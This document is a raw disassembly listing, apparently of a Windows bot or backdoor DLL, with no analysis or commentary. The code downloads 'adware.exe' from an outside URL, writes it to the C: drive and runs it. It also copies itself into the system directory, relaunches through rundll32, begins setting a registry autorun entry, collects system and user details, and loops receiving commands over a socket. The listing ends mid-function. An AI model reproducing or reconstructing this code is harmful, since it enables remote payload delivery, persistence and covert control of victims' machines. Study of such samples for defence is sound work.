loc_10004231: ; CODE XREF: start+20j
pop eax
push 0
push 0
push 0
push 0
push offset aWebreader ; "WebReader"
call ds:InternetOpenA ; InternetOpenA
mov [ebp+var_4], eax
push 0
push 0
push 0
push 0
push offset aHttpAdware_rxm ; "http://adware.rxmods.net/adware.exe"
mov eax, [ebp+var_4]
push eax
call ds:InternetOpenUrlA ; InternetOpenUrlA
mov [ebp+var_20C], eax
push offset Mode ; "wb"
push offset aCAdware_exe ; "c:\\adware.exe"
call ds:fopen ; fopen
add esp, 8
mov [ebp+File], eax
loc_1000427E: ; CODE XREF: start+BBj
lea ecx, [ebp+Count]
push ecx
push 62h
lea edx, [ebp+Str]
push edx
mov eax, [ebp+var_20C]
push eax
call ds:InternetReadFile ; InternetReadFile
test eax, eax
jz short loc_100042CA
cmp [ebp+Count], 0
jz short loc_100042CA
mov ecx, [ebp+File]
push ecx ; File
mov edx, [ebp+Count]
push edx ; Count
push 1 ; Size
lea eax, [ebp+Str]
push eax ; Str
call ds:fwrite ; fwrite
add esp, 10h
jmp short loc_1000427E
; ---------------------------------------------------------------------------
loc_100042CA: ; CODE XREF: start+90j start+99j
mov ecx, [ebp+File]
push ecx ; File
call ds:fclose ; fclose
add esp, 4
push 1 ; nShowCmd
push 0 ; lpDirectory
push 0 ; lpParameters
push offset File ; "c:\\adware.exe"
push offset Operation ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
push 2 ; uMode
call ds:SetErrorMode ; SetErrorMode
call ds:GetTickCount ; GetTickCount
push eax ; Seed
call ds:srand ; srand
add esp, 4
call sub_1000504C
call sub_10004CE4
call sub_1000ABF3
push 7530h ; dwMilliseconds
push offset Name ; lpName
push 0 ; bInitialOwner
push 0 ; lpMutexAttributes
call ds:CreateMutexA ; CreateMutexA
push eax ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
cmp eax, 102h
jnz short loc_10004340
jmp loc_1000457A
; ---------------------------------------------------------------------------
loc_10004340: ; CODE XREF: start+12Cj
push 10h ; Size
push 0 ; Val
push offset Dest ; Dst
call memset ; memset
add esp, 0Ch
push 10h ; Size
push 0 ; Val
push offset byte_1002C5D8 ; Dst
call memset ; memset
add esp, 0Ch
push 80h ; Size
push 0 ; Val
push offset byte_10012A70 ; Dst
call memset ; memset
add esp, 0Ch
push 200h ; Size
push 0 ; Val
lea edx, [ebp+Dst]
push edx ; Dst
call memset ; memset
add esp, 0Ch
lea eax, [ebp+WSAData]
push eax ; lpWSAData
push 202h ; wVersionRequested
call ds:WSAStartup ; WSAStartup
test eax, eax
jz short loc_100043A7
jmp loc_1000457A
; ---------------------------------------------------------------------------
loc_100043A7: ; CODE XREF: start+193j
call sub_10004BB5
loc_100043AC: ; CODE XREF: start+1B8j
call sub_10007005
and eax, 0FFh
test eax, eax
jnz short loc_100043C7
push 1388h ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_100043AC
; ---------------------------------------------------------------------------
loc_100043C7: ; CODE XREF: start+1ABj
; start:loc_10004423j ...
mov ecx, 1
test ecx, ecx
jz loc_1000457A
push 0 ; flags
push 1000h ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, s
push eax ; s
call ds:recv ; recv
mov [ebp+var_618], eax
cmp [ebp+var_618], 0
jg short loc_10004425
push 1388h ; dwMilliseconds
call ds:Sleep ; Sleep
loc_10004408: ; CODE XREF: start+214j
call sub_10007005
and eax, 0FFh
test eax, eax
jnz short loc_10004423
push 1388h ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10004408
; ---------------------------------------------------------------------------
loc_10004423: ; CODE XREF: start+207j
jmp short loc_100043C7
; ---------------------------------------------------------------------------
loc_10004425: ; CODE XREF: start+1EEj
mov ecx, [ebp+var_618]
mov [ebp+ecx+buf], 0
push 0Ah
lea edx, [ebp+buf]
push edx
call sub_10004581
add esp, 8
mov [ebp+var_208], eax
mov [ebp+var_410], 0
jmp short loc_10004465
; ---------------------------------------------------------------------------
loc_10004456: ; CODE XREF: start+338j start+363j
mov eax, [ebp+var_410]
add eax, 1
mov [ebp+var_410], eax
loc_10004465: ; CODE XREF: start+247j
mov ecx, [ebp+var_410]
cmp ecx, [ebp+var_208]
jge loc_10004575
push 200h ; Count
push 0Ah
mov edx, [ebp+var_410]
add edx, 1
push edx
lea eax, [ebp+buf]
push eax
call sub_10004799
add esp, 0Ch
push eax ; Source
lea ecx, [ebp+Dest]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
movsx edx, [ebp+Dst]
test edx, edx
jz short loc_1000450D
lea eax, [ebp+Dest]
push eax
lea ecx, [ebp+Dst]
push ecx
push offset aSS_2 ; "%s%s"
push 200h ; Count
lea edx, [ebp+Source]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
push 200h ; Count
lea eax, [ebp+Source]
push eax ; Source
lea ecx, [ebp+Dest]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 200h ; Size
push 0 ; Val
lea edx, [ebp+Dst]
push edx ; Dst
call memset ; memset
add esp, 0Ch
loc_1000450D: ; CODE XREF: start+2A4j
lea eax, [ebp+Dest]
push eax ; Str
call strlen ; strlen
add esp, 4
movsx ecx, byte ptr [ebp+eax+var_208+3]
cmp ecx, 0Dh
jz short loc_1000454A
push 200h ; Count
lea edx, [ebp+Dest]
push edx ; Source
lea eax, [ebp+Dst]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
jmp loc_10004456
; ---------------------------------------------------------------------------
loc_1000454A: ; CODE XREF: start+31Aj
lea ecx, [ebp+Dest]
push ecx ; Str
call strlen ; strlen
add esp, 4
mov byte ptr [ebp+eax+var_208+3], 0
lea edx, [ebp+Dest]
push edx ; Str
call sub_10007424
add esp, 4
jmp loc_10004456
; ---------------------------------------------------------------------------
loc_10004575: ; CODE XREF: start+264j
jmp loc_100043C7
; ---------------------------------------------------------------------------
loc_1000457A: ; CODE XREF: start+12Ej start+195j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
start endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004581 proc near ; CODE XREF: start+22Fp
; sub_10007424+3Dp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
mov [ebp+var_C], 0
mov byte ptr [ebp+var_4], 0
jmp short loc_100045A4
; ---------------------------------------------------------------------------
loc_1000459B: ; CODE XREF: sub_10004581:loc_100045FFj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_100045A4: ; CODE XREF: sub_10004581+18j
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_10004601
mov eax, [ebp+var_4]
and eax, 0FFh
test eax, eax
jz short loc_100045D4
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
movsx eax, [ebp+arg_4]
cmp edx, eax
jnz short loc_100045D4
mov byte ptr [ebp+var_4], 0
jmp short loc_100045FF
; ---------------------------------------------------------------------------
loc_100045D4: ; CODE XREF: sub_10004581+3Aj
; sub_10004581+4Bj
mov ecx, [ebp+var_4]
and ecx, 0FFh
test ecx, ecx
jnz short loc_100045FF
mov edx, [ebp+arg_0]
add edx, [ebp+var_8]
movsx eax, byte ptr [edx]
movsx ecx, [ebp+arg_4]
cmp eax, ecx
jz short loc_100045FF
mov byte ptr [ebp+var_4], 1
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_100045FF: ; CODE XREF: sub_10004581+51j
; sub_10004581+5Ej ...
jmp short loc_1000459B
; ---------------------------------------------------------------------------
loc_10004601: ; CODE XREF: sub_10004581+2Ej
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_10004581 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004608 proc near ; CODE XREF: sub_10006A3B+22p
; sub_10006BAC+23p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnz short loc_10004618
mov eax, [ebp+arg_0]
jmp short loc_1000462F
; ---------------------------------------------------------------------------
loc_10004618: ; CODE XREF: sub_10004608+9j
call ds:rand ; rand
mov ecx, [ebp+arg_4]
sub ecx, [ebp+arg_0]
add ecx, 1
cdq
idiv ecx
mov eax, edx
add eax, [ebp+arg_0]
loc_1000462F: ; CODE XREF: sub_10004608+Ej
pop ebp
retn
sub_10004608 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004631 proc near ; CODE XREF: sub_10004987+1F1p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20h
call sub_1000478C
mov [ebp+var_20], eax
mov [ebp+var_1C], edx
push 3E8h ; dwMilliseconds
call ds:Sleep ; Sleep
call sub_1000478C
sub eax, [ebp+var_20]
sbb edx, [ebp+var_1C]
push 0
push 186A0h
push edx
push eax
call __aulldiv
push 0
push 0Ah
push edx
push eax
call __aulldiv
mov [ebp+var_8], eax
mov [ebp+var_4], edx
push 0
push 64h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call __aullrem
mov [ebp+var_18], eax
mov [ebp+var_14], edx
mov [ebp+var_10], 64h
mov [ebp+var_C], 0
cmp [ebp+var_14], 0
ja short loc_100046B8
jb short loc_100046AA
cmp [ebp+var_18], 50h
jnb short loc_100046B8
loc_100046AA: ; CODE XREF: sub_10004631+71j
mov [ebp+var_10], 4Bh
mov [ebp+var_C], 0
loc_100046B8: ; CODE XREF: sub_10004631+6Fj
; sub_10004631+77j
cmp [ebp+var_14], 0
ja short loc_100046D4
jb short loc_100046C6
cmp [ebp+var_18], 47h
jnb short loc_100046D4
loc_100046C6: ; CODE XREF: sub_10004631+8Dj
mov [ebp+var_10], 42h
mov [ebp+var_C], 0
loc_100046D4: ; CODE XREF: sub_10004631+8Bj
; sub_10004631+93j
cmp [ebp+var_14], 0
ja short loc_100046F0
jb short loc_100046E2
cmp [ebp+var_18], 37h
jnb short loc_100046F0
loc_100046E2: ; CODE XREF: sub_10004631+A9j
mov [ebp+var_10], 32h
mov [ebp+var_C], 0
loc_100046F0: ; CODE XREF: sub_10004631+A7j
; sub_10004631+AFj
cmp [ebp+var_14], 0
ja short loc_1000470C
jb short loc_100046FE
cmp [ebp+var_18], 26h
jnb short loc_1000470C
loc_100046FE: ; CODE XREF: sub_10004631+C5j
mov [ebp+var_10], 21h
mov [ebp+var_C], 0
loc_1000470C: ; CODE XREF: sub_10004631+C3j
; sub_10004631+CBj
cmp [ebp+var_14], 0
ja short loc_10004728
jb short loc_1000471A
cmp [ebp+var_18], 1Eh
jnb short loc_10004728
loc_1000471A: ; CODE XREF: sub_10004631+E1j
mov [ebp+var_10], 19h
mov [ebp+var_C], 0
loc_10004728: ; CODE XREF: sub_10004631+DFj
; sub_10004631+E7j
cmp [ebp+var_14], 0
ja short loc_10004744
jb short loc_10004736
cmp [ebp+var_18], 0Ah
jnb short loc_10004744
loc_10004736: ; CODE XREF: sub_10004631+FDj
mov [ebp+var_10], 0
mov [ebp+var_C], 0
loc_10004744: ; CODE XREF: sub_10004631+FBj
; sub_10004631+103j
mov edx, [ebp+var_8]
sub edx, [ebp+var_18]
mov eax, [ebp+var_4]
sbb eax, [ebp+var_14]
add edx, [ebp+var_10]
adc eax, [ebp+var_C]
mov [ebp+var_8], edx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_10004631 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10004763(char *name)
sub_10004763 proc near ; CODE XREF: sub_10007005+1BBp
; sub_10007424+2DBp ...
var_4 = dword ptr -4
name = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+name]
push eax ; name
call ds:gethostbyname ; gethostbyname
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_1000477E
xor eax, eax
jmp short loc_10004788
; ---------------------------------------------------------------------------
loc_1000477E: ; CODE XREF: sub_10004763+15j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
mov eax, [edx]
mov eax, [eax]
loc_10004788: ; CODE XREF: sub_10004763+19j
mov esp, ebp
pop ebp
retn
sub_10004763 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000478C proc near ; CODE XREF: sub_10004631+6p
; sub_10004631+1Cp
push ebp
mov ebp, esp
push ebx
push esi
push edi
rdtsc
pop edi
pop esi
pop ebx
pop ebp
retn
sub_1000478C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004799 proc near ; CODE XREF: start+282p
; sub_10007398+Dp ...
var_4018 = dword ptr -4018h
var_4014 = dword ptr -4014h
var_4010 = dword ptr -4010h
var_400C = dword ptr -400Ch
var_4008 = byte ptr -4008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 4018h
call __alloca_probe
mov [ebp+var_4010], 0
mov [ebp+var_4018], 0
mov [ebp+var_400C], 0
mov [ebp+var_4014], 0
mov byte ptr [ebp+var_8], 0
jmp short loc_100047E3
; ---------------------------------------------------------------------------
loc_100047D4: ; CODE XREF: sub_10004799:loc_10004926j
mov eax, [ebp+var_4010]
add eax, 1
mov [ebp+var_4010], eax
loc_100047E3: ; CODE XREF: sub_10004799+39j
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4010]
movsx edx, byte ptr [ecx]
test edx, edx
jz loc_1000492B
cmp [ebp+var_400C], 20h
jge loc_1000492B
mov eax, [ebp+var_8]
and eax, 0FFh
test eax, eax
jz short loc_10004847
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4010]
movsx edx, byte ptr [ecx]
movsx eax, [ebp+arg_8]
cmp edx, eax
jnz short loc_10004847
mov byte ptr [ebp+var_8], 0
mov ecx, [ebp+var_400C]
shl ecx, 9
lea edx, [ebp+ecx+var_4008]
mov eax, [ebp+var_4018]
mov byte ptr [edx+eax], 0
jmp loc_10004926
; ---------------------------------------------------------------------------
loc_10004847: ; CODE XREF: sub_10004799+75j
; sub_10004799+89j
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jnz short loc_100048D2
mov edx, [ebp+arg_0]
add edx, [ebp+var_4010]
movsx eax, byte ptr [edx]
movsx ecx, [ebp+arg_8]
cmp eax, ecx
jz short loc_100048D2
mov byte ptr [ebp+var_8], 1
mov edx, [ebp+var_4014]
add edx, 1
mov [ebp+var_4014], edx
cmp [ebp+var_4014], 1
jle short loc_10004893
mov eax, [ebp+var_400C]
add eax, 1
mov [ebp+var_400C], eax
loc_10004893: ; CODE XREF: sub_10004799+E9j
mov [ebp+var_4018], 0
mov ecx, [ebp+var_400C]
shl ecx, 9
lea edx, [ebp+ecx+var_4008]
mov eax, [ebp+arg_0]
add eax, [ebp+var_4010]
mov ecx, [ebp+var_4018]
mov al, [eax]
mov [edx+ecx], al
mov ecx, [ebp+var_4018]
add ecx, 1
mov [ebp+var_4018], ecx
jmp short loc_10004926
; ---------------------------------------------------------------------------
loc_100048D2: ; CODE XREF: sub_10004799+B9j
; sub_10004799+CDj
mov edx, [ebp+var_8]
and edx, 0FFh
test edx, edx
jz short loc_10004926
mov eax, [ebp+arg_0]
add eax, [ebp+var_4010]
movsx ecx, byte ptr [eax]
movsx edx, [ebp+arg_8]
cmp ecx, edx
jz short loc_10004926
mov eax, [ebp+var_400C]
shl eax, 9
lea ecx, [ebp+eax+var_4008]
mov edx, [ebp+arg_0]
add edx, [ebp+var_4010]
mov eax, [ebp+var_4018]
mov dl, [edx]
mov [ecx+eax], dl
mov eax, [ebp+var_4018]
add eax, 1
mov [ebp+var_4018], eax
loc_10004926: ; CODE XREF: sub_10004799+A9j
; sub_10004799+137j ...
jmp loc_100047D4
; ---------------------------------------------------------------------------
loc_1000492B: ; CODE XREF: sub_10004799+58j
; sub_10004799+65j
mov ecx, [ebp+var_400C]
shl ecx, 9
lea edx, [ebp+ecx+var_4008]
mov eax, [ebp+var_4018]
mov byte ptr [edx+eax], 0
mov ecx, [ebp+arg_4]
sub ecx, 1
shl ecx, 9
lea edx, [ebp+ecx+var_4008]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_10004799 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_1000495F(char addr)
sub_1000495F proc near ; CODE XREF: sub_10007424+259p
var_4 = dword ptr -4
addr = byte ptr 8
push ebp
mov ebp, esp
push ecx
push 2 ; type
push 4 ; len
lea eax, [ebp+addr]
push eax ; addr
call ds:gethostbyaddr ; gethostbyaddr
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_1000497E
xor eax, eax
jmp short loc_10004983
; ---------------------------------------------------------------------------
loc_1000497E: ; CODE XREF: sub_1000495F+19j
mov ecx, [ebp+var_4]
mov eax, [ecx]
loc_10004983: ; CODE XREF: sub_1000495F+1Dj
mov esp, ebp
pop ebp
retn
sub_1000495F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004987 proc near ; CODE XREF: sub_10007424+8AAp
Buffer = byte ptr -274h
VersionInformation= _OSVERSIONINFOA ptr -174h
var_E0 = dword ptr -0E0h
pcbBuffer = dword ptr -0DCh
nSize = dword ptr -0D8h
Dest = byte ptr -0D4h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 274h
push 100h ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+var_14], eax
mov [ebp+nSize], 10h
mov [ebp+pcbBuffer], 15h
push 100h ; uSize
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call ds:GetSystemDirectoryA ; GetSystemDirectoryA
lea ecx, [ebp+var_50]
push ecx ; lpBuffer
call ds:GlobalMemoryStatus ; GlobalMemoryStatus
mov [ebp+VersionInformation.dwOSVersionInfoSize], 94h
lea edx, [ebp+VersionInformation]
push edx ; lpVersionInformation
call ds:GetVersionExA ; GetVersionExA
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_10004A1E
cmp [ebp+VersionInformation.dwMinorVersion], 0
jnz short loc_10004A1E
cmp [ebp+VersionInformation.dwPlatformId], 1
jnz short loc_10004A0C
mov [ebp+var_30], offset a95 ; "95"
jmp short loc_10004A1C
; ---------------------------------------------------------------------------
loc_10004A0C: ; CODE XREF: sub_10004987+7Aj
cmp [ebp+VersionInformation.dwPlatformId], 2
jnz short loc_10004A1C
mov [ebp+var_30], offset aNt ; "NT"
loc_10004A1C: ; CODE XREF: sub_10004987+83j
; sub_10004987+8Cj
jmp short loc_10004A91
; ---------------------------------------------------------------------------
loc_10004A1E: ; CODE XREF: sub_10004987+68j
; sub_10004987+71j
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_10004A39
cmp [ebp+VersionInformation.dwMinorVersion], 0Ah
jnz short loc_10004A39
mov [ebp+var_30], offset a98 ; "98"
jmp short loc_10004A91
; ---------------------------------------------------------------------------
loc_10004A39: ; CODE XREF: sub_10004987+9Ej
; sub_10004987+A7j
cmp [ebp+VersionInformation.dwMajorVersion], 4
jnz short loc_10004A54
cmp [ebp+VersionInformation.dwMinorVersion], 5Ah
jnz short loc_10004A54
mov [ebp+var_30], offset aMe ; "ME"
jmp short loc_10004A91
; ---------------------------------------------------------------------------
loc_10004A54: ; CODE XREF: sub_10004987+B9j
; sub_10004987+C2j
cmp [ebp+VersionInformation.dwMajorVersion], 5
jnz short loc_10004A6F
cmp [ebp+VersionInformation.dwMinorVersion], 0
jnz short loc_10004A6F
mov [ebp+var_30], offset a2000 ; "2000"
jmp short loc_10004A91
; ---------------------------------------------------------------------------
loc_10004A6F: ; CODE XREF: sub_10004987+D4j
; sub_10004987+DDj
cmp [ebp+VersionInformation.dwMajorVersion], 5
jnz short loc_10004A8A
cmp [ebp+VersionInformation.dwMinorVersion], 1
jnz short loc_10004A8A
mov [ebp+var_30], offset aXp ; "XP"
jmp short loc_10004A91
; ---------------------------------------------------------------------------
loc_10004A8A: ; CODE XREF: sub_10004987+EFj
; sub_10004987+F8j
mov [ebp+var_30], offset a??? ; "???"
loc_10004A91: ; CODE XREF: sub_10004987:loc_10004A1Cj
; sub_10004987+B0j ...
cmp [ebp+VersionInformation.dwPlatformId], 2
jnz short loc_10004AD3
movsx eax, [ebp+VersionInformation.szCSDVersion]
test eax, eax
jz short loc_10004AD3
lea ecx, [ebp+VersionInformation.szCSDVersion]
push ecx
mov edx, [ebp+var_30]
push edx
push offset aSS_3 ; "%s (%s)"
push 80h ; Count
lea eax, [ebp+Dest]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
lea ecx, [ebp+Dest]
mov [ebp+var_30], ecx
loc_10004AD3: ; CODE XREF: sub_10004987+111j
; sub_10004987+11Cj
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_54], eax
lea edx, [ebp+nSize]
push edx ; nSize
lea eax, [ebp+var_10]
push eax ; lpBuffer
call ds:GetComputerNameA ; GetComputerNameA
lea ecx, [ebp+var_10]
mov [ebp+var_E0], ecx
lea edx, [ebp+pcbBuffer]
push edx ; pcbBuffer
lea eax, [ebp+var_2C]
push eax ; lpBuffer
call ds:GetUserNameA ; GetUserNameA
mov eax, [ebp+var_54]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 3Ch
div ecx
push eax
mov eax, [ebp+var_54]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
push eax
mov eax, [ebp+var_54]
xor edx, edx
mov ecx, 15180h
div ecx
push eax
lea edx, [ebp+Buffer]
push edx
lea eax, [ebp+var_2C]
push eax
mov ecx, [ebp+var_E0]
push ecx
mov edx, [ebp+var_48]
shr edx, 14h
push edx
mov eax, [ebp+var_44]
shr eax, 14h
push eax
call sub_10004631
push eax
mov ecx, [ebp+VersionInformation.dwBuildNumber]
push ecx
mov edx, [ebp+VersionInformation.dwMinorVersion]
push edx
mov eax, [ebp+VersionInformation.dwMajorVersion]
push eax
mov ecx, [ebp+var_30]
push ecx
push offset aOsWindowsSD_DD ; "OS: Windows %s (%d.%d - %d), CPU: %dMHz"...
push 100h ; Count
mov edx, [ebp+var_14]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 40h
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_10004987 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004BB5 proc near ; CODE XREF: start:loc_100043A7p
; sub_10007424+8E6p
Dest = dword ptr -4
push ebp
mov ebp, esp
push ecx
push 100h ; Size
call ds:malloc ; malloc
add esp, 4
mov [ebp+Dest], eax
push offset byte_10012A70
push offset byte_1002C5D8
push offset Dest
push offset aIpSConnectedFr ; "IP: %s, connected from: %s (%s)"
push 100h ; Count
mov eax, [ebp+Dest]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 18h
mov eax, [ebp+Dest]
mov esp, ebp
pop ebp
retn
sub_10004BB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10004BF7(char *Src)
sub_10004BF7 proc near ; CODE XREF: sub_10007005+185p
; sub_10007424+217p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
lea eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_C]
push ecx
lea edx, [ebp+var_8]
push edx
lea eax, [ebp+var_4]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
mov ecx, [ebp+Src]
push ecx ; Src
call ds:sscanf ; sscanf
add esp, 18h
cmp [ebp+var_4], 0
jl short loc_10004C5F
cmp [ebp+var_4], 0FFh
jg short loc_10004C5F
cmp [ebp+var_8], 0
jl short loc_10004C5F
cmp [ebp+var_8], 0FFh
jg short loc_10004C5F
cmp [ebp+var_C], 0
jl short loc_10004C5F
cmp [ebp+var_C], 0FFh
jg short loc_10004C5F
cmp [ebp+var_10], 0
jl short loc_10004C5F
cmp [ebp+var_10], 0FFh
jg short loc_10004C5F
mov al, 1
jmp short loc_10004C61
; ---------------------------------------------------------------------------
loc_10004C5F: ; CODE XREF: sub_10004BF7+2Cj
; sub_10004BF7+35j ...
xor al, al
loc_10004C61: ; CODE XREF: sub_10004BF7+66j
mov esp, ebp
pop ebp
retn
sub_10004BF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004C65 proc near ; CODE XREF: sub_10007424+EC1p
; sub_10007424+1010p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0
push 0
call ds:_beginthreadex ; _beginthreadex
add esp, 18h
pop ebp
retn
sub_10004C65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004C83 proc near ; CODE XREF: sub_10007005:loc_10007288p
namelen = dword ptr -14h
name = sockaddr ptr -10h
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+namelen], 10h
lea eax, [ebp+namelen]
push eax ; namelen
lea ecx, [ebp+name]
push ecx ; name
mov edx, s
push edx ; s
call ds:getsockname ; getsockname
mov eax, dword ptr [ebp+name.sa_data+5]
and eax, 0FFh
push eax
mov ecx, [ebp-0Ah]
and ecx, 0FFh
push ecx
mov edx, [ebp-0Bh]
and edx, 0FFh
push edx
mov eax, [ebp-0Ch]
and eax, 0FFh
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push 10h ; Count
push offset Dest ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov esp, ebp
pop ebp
retn
sub_10004C83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004CE4 proc near ; CODE XREF: start+102p
Buffer = byte ptr -300h
Parameters = byte ptr -200h
NewFileName = byte ptr -100h
push ebp
mov ebp, esp
sub esp, 300h
push 100h ; uSize
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call ds:GetSystemDirectoryA ; GetSystemDirectoryA
push offset dword_1002C5E8
lea ecx, [ebp+Buffer]
push ecx
push offset aSS_4 ; "%s\\%s"
push 100h ; Count
lea edx, [ebp+NewFileName]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
push offset ExistingFileName ; Str2
lea eax, [ebp+NewFileName]
push eax ; Str1
call ds:_stricmp ; _stricmp
add esp, 8
test eax, eax
jnz short loc_10004D40
jmp short loc_10004DAD
; ---------------------------------------------------------------------------
loc_10004D40: ; CODE XREF: sub_10004CE4+58j
; sub_10004CE4+7Fj
push 0 ; bFailIfExists
lea ecx, [ebp+NewFileName]
push ecx ; lpNewFileName
push offset ExistingFileName ; lpExistingFileName
call ds:CopyFileA ; CopyFileA
test eax, eax
jnz short loc_10004D65
push 7D0h ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10004D40
; ---------------------------------------------------------------------------
loc_10004D65: ; CODE XREF: sub_10004CE4+72j
call sub_10004DB1
lea edx, [ebp+NewFileName]
push edx
push offset aSStart ; "%s,start"
push 100h ; Count
lea eax, [ebp+Parameters]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 0 ; nShowCmd
push 0 ; lpDirectory
lea ecx, [ebp+Parameters]
push ecx ; lpParameters
push offset aRundll32_exe ; "rundll32.exe"
push offset aOpen_0 ; "open"
push 0 ; hwnd
call ds:ShellExecuteA ; ShellExecuteA
call sub_10004EA7
; ---------------------------------------------------------------------------
loc_10004DAD: ; CODE XREF: sub_10004CE4+5Aj
mov esp, ebp
pop ebp
retn
sub_10004CE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004DB1 proc near ; CODE XREF: sub_10004CE4:loc_10004D65p
Buffer = byte ptr -384h
hKey = dword ptr -284h
Data = byte ptr -280h
ValueName = byte ptr -180h
FileName = byte ptr -100h
push ebp
mov ebp, esp
sub esp, 384h
push 100h ; uSize
lea eax, [ebp+Buffer]
push eax ; lpBuffer
call ds:GetSystemDirectoryA ; GetSystemDirectoryA
push offset dword_1002C5E8
push offset aWindllS ; "WinDLL (%s)"
push 80h ; Count
lea ecx, [ebp+ValueName]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push offset dword_1002C5E8
lea edx, [ebp+Buffer]
push edx
push offset aSS_5 ; "%s\\%s"
push 100h ; Count
lea eax, [ebp+FileName]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
lea ecx, [ebp+FileName]
push ecx
push offset aRundll32_exeSS ; "rundll32.exe %s,start"
push 100h ; Count
lea edx, [ebp+Data]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 0 ; lpdwDisposition
lea eax, [ebp+hKey]
push eax ; phkResult
